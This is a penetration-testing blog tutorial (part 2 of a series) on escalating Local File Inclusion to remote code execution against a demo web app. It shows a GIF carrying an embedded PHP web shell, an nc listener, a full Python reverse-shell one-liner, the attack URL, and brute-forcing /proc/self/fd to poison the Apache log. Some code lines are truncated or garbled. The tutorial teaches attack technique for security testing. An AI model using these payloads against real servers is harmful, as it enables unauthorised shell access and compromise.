Skip to main content

From Local File Inclusion to Remote Code Execution - Part 2

From Local File Inclusion to Remote Code Execution - Part 2

Nikos Danopoulos, IT Security Consultant
Local File Inclusion - aka LFI - is one of the most common Web Application vulnerabilities. If conducted successfully, It might allow attackers to read sensitive information, access configuration files or even execute system commands remotely.

This is going to be the second part of our first blog post regarding Local File Inclusion to Remote Code Execution. Last time we went through two common techniques, log poisoning and proc environ injection. We highly recommend reading the first blog post if you haven’t done so, as it also explains the basic concept of Local File Inclusion.

Abusing Upload Functions

A vulnerable Web Application upload feature combined with a Local File Inclusion might lead to a Remote Code Execution.

An attacker who manages to upload data on the server - like image upload, specific document type file upload, etc. - could use a Local File Inclusion vulnerability to execute arbitrary commands remotely.

To have a better understanding of this technique, let’s suppose that there is a web application vulnerable to:

  • Local File Inclusion
  • File Upload

We will use the LFI to evaluate the malicious code that we will upload via the unrestricted file upload.

An extra information needed to successfully perform the attack is the upload path.

The following code is a simple code, taken from w3schools, used to upload image files.


$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES[
$uploadOk =
$imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));

// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {
      $check =
if($check !== false) {
echo "File is an image - " . $check["mime"] . ".";
      $uploadOk =
else> {
echo "File is not an image.";
      $uploadOk =

// Check if file already exists
if (file_exists($target_file)) {
echo "Sorry, file already exists.";
      $uploadOk =

// Check file size
if ($_FILES["fileToUpload"]["size"] > 500000) {
echo "Sorry, your file is too large.";
      $uploadOk =

// Allow certain file formats
if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg"
&& $imageFileType != "gif"
) {
echo "Sorry, only JPG, JPEG, PNG & GIF files are allowed.";
      $uploadOk =

// Check if $uploadOk is set to 0 by an error
if ($uploadOk == 0) {
echo "Sorry, your file was not uploaded.";
// if everything is ok, try to upload file
} else {
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "The file ". basename( $_FILES["fileToUpload"]["name"]). " has been uploaded.";
else {
echo "Sorry, there was an error uploading your file.";


Several checks are done on the above code. Firstly, the getimagesize() function is used to determine the dimensions of the image we are going to upload. Afterward, the size of the upload image is being checked. Finally, the image extension is being checked to verify that only images will be uploaded.

There are multiple other checks that should be taken into account but for the sake of better understanding, we will focus on this sample code.

Again, our goal is to upload an image with PHP commands included. To do this, I used a tool called gifsicle. It is used to manipulate GIF images. We will use it to append as a comment our PHP command.

Here is the command used:

$ gifsicle --comment "<?php system(\$_GET['cmd']); ?>" < upload_image.gif > upload_image.php.gif

Now, we have a valid image which contains our PHP payload. As we didn’t destroy the image the getimagesize() function will be executed successfully. A more in-depth explanation can be found here - Defeating Getimagesize() Checks in File Uploads.

Once the image is uploaded, we only need to find the uploaded path and use the LFI vulnerability to evaluate its code, including our PHP code.

From Local File Inclusion to Remote Code Execution

From Local File Inclusion to Remote Code Execution

There are several ways to discover the file path of the uploaded file. Although it shouldn’t be easy to discover the file upload path, sometimes we may end up with a valid one. Most commonly, we will discover the valid path via brute forcing, web application misconfiguration or by combining different web application vulnerabilities.

Local File Inclusion schema

For our case, the upload path is located under uploads/. By using the LFI vulnerability, we can “include” the image code and execute system commands.

Let’s make a small bullet point recap of the steps:

  • Use a validated LFI vulnerability
  • Discover an upload form
  • Upload a modified image that contains our PHP Payload
  • Identify the upload path of the uploaded image
  • Load the uploaded image via the LFI vulnerability

To receive the shell, we set up a listener using nc.

nc -nvlp 4444

We are going to use the same python reverse shell payload.

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/sh","-i"]);'

Here is how the response looks like:

Local File Inclusion schema

URL visited: http://target-url/vulnerable-lfi/webapp/part2/index.php?view=vulnerable-lfi/webapp/part2/uploads/upload_image.php.gif&cmd=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/sh","-i"]);'"

In this example, the image is processed via PHP and not over an Image wrapper. Thus, the system command was executed successfully and a shell access was given.

Local File Inclusion schema

Brute forcing the /proc/self/ directory

As described in Part 1, the Linux /proc/ directory holds information about different processes. Each process is distinguished by its PID as shown in the following screenshot.

Local File Inclusion schema

Every process can access its available information by requesting the /proc/self directory. Last time we used the /proc/self/environ file to exploit the LFI vulnerability.

As Apache is requesting this file (via the LFI vulnerability) and since the file is located inside Apache’s proc directory, we can use /proc/self instead of searching for Apache’s PID. In a brief recap we could say that /proc/self/environ is - roughly- equal to /proc/<apache_pid>/environ.

The last thing mentioned in Part 1 was File Descriptors:

[...] In a nutshell, when a process is created and has an open file handler then a file descriptor will point to that requested file. If you are not familiar with File Descriptors, here is an introduction.

Linux holds a separate directory to store those “pseudo-files”. Supposing that we execute requests originated from Apache - via the LFI - we can find this directory under: /proc/self/fd/.

The contents of this directory are symbolic links pointing to the actual file of the process’ open file handlers[*].[1] 

Local File Inclusion schema

It goes without saying that during the attack we do not know which symbolic link points to which file. The file we will be interested in is the Apache access log. We choose this file as it’s dynamic and can be changed based on our input.

To identify the file, we will use Burp Intruder.

First, we set up the position of our payload.

Local File Inclusion schema 2

As File Descriptors are identified by a numeric id, we choose the proper payload. Payloads > Payload type: Numbers

Local File Inclusion schema 3

A successful enumeration should look like the following:

Local File Inclusion schema 4

From the above response, we can see that the link file, located at /proc/self/fd/8 points to the Apache access log file.

A small recap. All we need to do is to brute-force the actual symlinks located inside the FD directory. In other words, we are looking for the open file handlers that we can change dynamically.

Now, we will take the same approach as we did on Part 1 at the Log Poisoning chapter. The payload will be inserted inside the HTTP Request and then, by loading the file over the LFI we will hopefully get a shell.

Request 1:

$ nc secureapplication.example 80
GET /<?php system(

Request 2:

Local File Inclusion schema 5

By listening on port 4444 we can see that a shell has been received.

Local File Inclusion schema 6


This is the end of Part 2 of the Local File Inclusion to Remote Code Execution article series. We have covered two different techniques to receive a remote shell from a Local File Inclusion vulnerability. More in-depth techniques will be covered in the following writings. Stay tuned!

Like last time, you can find the PHP codes used at Github - Vulnerable LFI.

Test my Web App Security

Resources/References: - W3School FIle Upload - File Descriptors

[*] Well, it’s not just files. But the concept is similar:

Looking for anything in particular?

Type your search word here